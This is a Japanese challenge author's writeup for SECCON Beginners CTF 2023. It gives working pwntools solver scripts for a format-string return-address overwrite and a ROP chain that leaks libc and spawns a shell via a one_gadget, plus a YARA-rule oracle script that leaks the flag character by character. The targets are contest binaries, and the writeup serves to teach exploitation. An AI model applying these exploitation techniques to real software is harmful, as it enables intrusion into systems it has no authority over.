SECCON Beginners CTF 2023 作問者Writeup
問題
私が作問に関わったのは以下の問題です
Pwn
- Forgot_Some_Exploit
- 44 Solved 144pt
- Elementary_ROP
- 46 Solved 141pt
- No_Control
- 13 Solved 248pt
Misc
- YARO
- 197 Solved 76pt
新規メンバーが加入してくれたので少なめです。
Writeup
についてWriteupを書いていきます。 作問者Writeupは正解という訳では無く、あくまで一例です。皆様独自のWriteupをお待ちしております。 他の問題については今後追加予定です。
他の作問者のWriteup
- xryuseix (shaXXX, drmsaw, phisher2)
- task4233 (CoughingFox2)
- satoki(polyglot4b, polyglot4b, aiwaf)
- yuasa (double check, oooauth)
- Sz4rny (Forbidden)
- ushigai (Conquer, switchable_cat)
- anko (cooking)
- motimotipurinn (Choice)
Pwn
Forgot_Some_Exploit
FSBです。正直自分もあまりFSBは好きじゃないし得意じゃないので、ROPよりSolveが少ないのも納得できます。 1回目のfsbでmainのアドレスとリターンアドレスの位置をリークした後、2回目でリターンアドレスを書き換えます。 FSBが苦手なのでpwntoolsの便利機能を使いました。
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9002'))
context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile
def exec_fmt(payload):
p = process(binfile)
p.sendline(payload)
p.sendline(payload)
return p.recvall()
autofmt = FmtStr(exec_fmt)
offset = 6 autofmt.offset
io = remote(HOST, PORT)
main_leak_payload = f'%41$p %47$p'
io.sendline(main_leak_payload.encode())
line = io.readline().decode().strip().split()
leak = list(map(lambda p: int(p, base=16), line))
main_addr = leak[0] - 14
base_addr = main_addr - e.sym['main']
win_addr = base_addr + e.sym['win']
ret_addr = leak[1] - 0x240
payload = fmtstr_payload(offset, {ret_addr: win_addr})
assert(len(payload) < 0x100)
io.sendline(payload)
io.recvuntil(b'ctf4b')
print('ctf4b' + io.readline().decode(), end='')
Flag: ctf4b{4ny_w4y_y0u_w4nt_1t}
Elementary_ROP
毎年恒例(?)ROPシリーズです canaryとPIE以外のセキュリティ機構がすべて有効になっています。
方針としては
printf
を利用してlibcのベースアドレスをleak- one gadgetの条件に合わせてシェルを取る
みたいなパターンだと思います。
かなり面倒なことをしているソルバが以下です。printf
でleakする為にmain
の途中に遷移させ、そこから2回目のペイロードをそのまま送っています。
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv("CTF4B_HOST", "0.0.0.0")
PORT = int(os.getenv("CTF4B_PORT", "9003"))
binfile = "./chall"
context.log_level = "critical"
e = ELF(binfile)
libc = ELF("libc.so.6")
context.binary = binfile
io = remote(HOST, PORT)
one_gadgets = [0xEBCF1, 0xEBCF5, 0xEBCF8]
pad = b"a" * 0x20 + pack(e.got["printf"] + 0x20)
rop = ROP(e)
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(pack(e.got["printf"])) # printf arg for leak
rop.raw(rop.find_gadget(["pop rbp", "ret"]))
rop.raw(pack(e.bss() + 0x400))
rop.call(pack(0x401171)) # mov rax, 0 ; call printf
payload = pad + rop.chain()
io.sendlineafter(b"content: ", payload)
leaked = unpack(io.recv(8).ljust(8, b"\0"))
libc_base = leaked - libc.sym["printf"]
pad = b"a" * 0x20
payload = pad + pack(e.bss() + 0x500)
payload += pack(libc_base + 0x000000000002BE51) # pop rsi ; ret
payload += pack(0)
payload += pack(libc_base + 0x000000000011F497) # pop rdx ; pop r12 ; ret
payload += pack(0)
payload += pack(0)
payload += pack(libc_base + one_gadgets[2])
io.sendline(payload)
io.sendline(b"echo shell")
io.recvuntil(b"shell\n")
io.sendline(b"cat flag.txt")
print(io.readline().decode(), end="")
Flag: ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}
YARO
去年に引き続きYaraの問題です。
今回はAV Oracleみたいな問題を作りたいという願望から産まれたんですが、微妙ですね。まぁYaraの勉強にはなるかもしれません。 一文字ずつmatchするルールを書いてleakするんですが、複数ルールを書けることに気付く(exampleを見ればわかる)と、少し簡単になります。
#!/usr/bin/env python3
from pwn import *
import os
import string
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '5003'))
context.log_level = 'critical'
flag = 'ctf4b{'
length_rule = '''rule format {
strings:
$fmt = /ctf4b{.*}/
condition:
any of them
}'''
for i in range(100):
fmt = 'ctf4b{' + '.' * i + '}'
rule = f'''
rule length_{i} {{
strings:
${i} = /{fmt}/
condition:
any of them
}}'''
length_rule += rule
length_rule += '\n'
io = remote(HOST, PORT)
io.sendlineafter(b'rule:', length_rule.encode())
io.recvuntil(b'matched: [format, length_')
length = int(io.recv(2).decode())
io.close()
chars = string.ascii_letters + string.digits + '_'
rule = ''
for i in range(length):
for c in chars:
rule += f'''rule flag_{i}_{c} {{
strings:
$flag = /ctf4b{{{'.'*i+c}.*/
condition:
any of them
}}
'''
io = remote(HOST, PORT)
io.sendlineafter(b'rule:', rule.encode())
io.recvuntil(b'OK. Now I find the malware from this rule:')
result = ''.join(io.recvallS())
io.close()
leaked = map(lambda s: s[-1], result.splitlines()[-2].lstrip('Found: ./flag.txt, matched :').rstrip(']').lstrip('[').split(', '))
print(flag + ''.join(leaked) + '}')
Flag: ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
Comments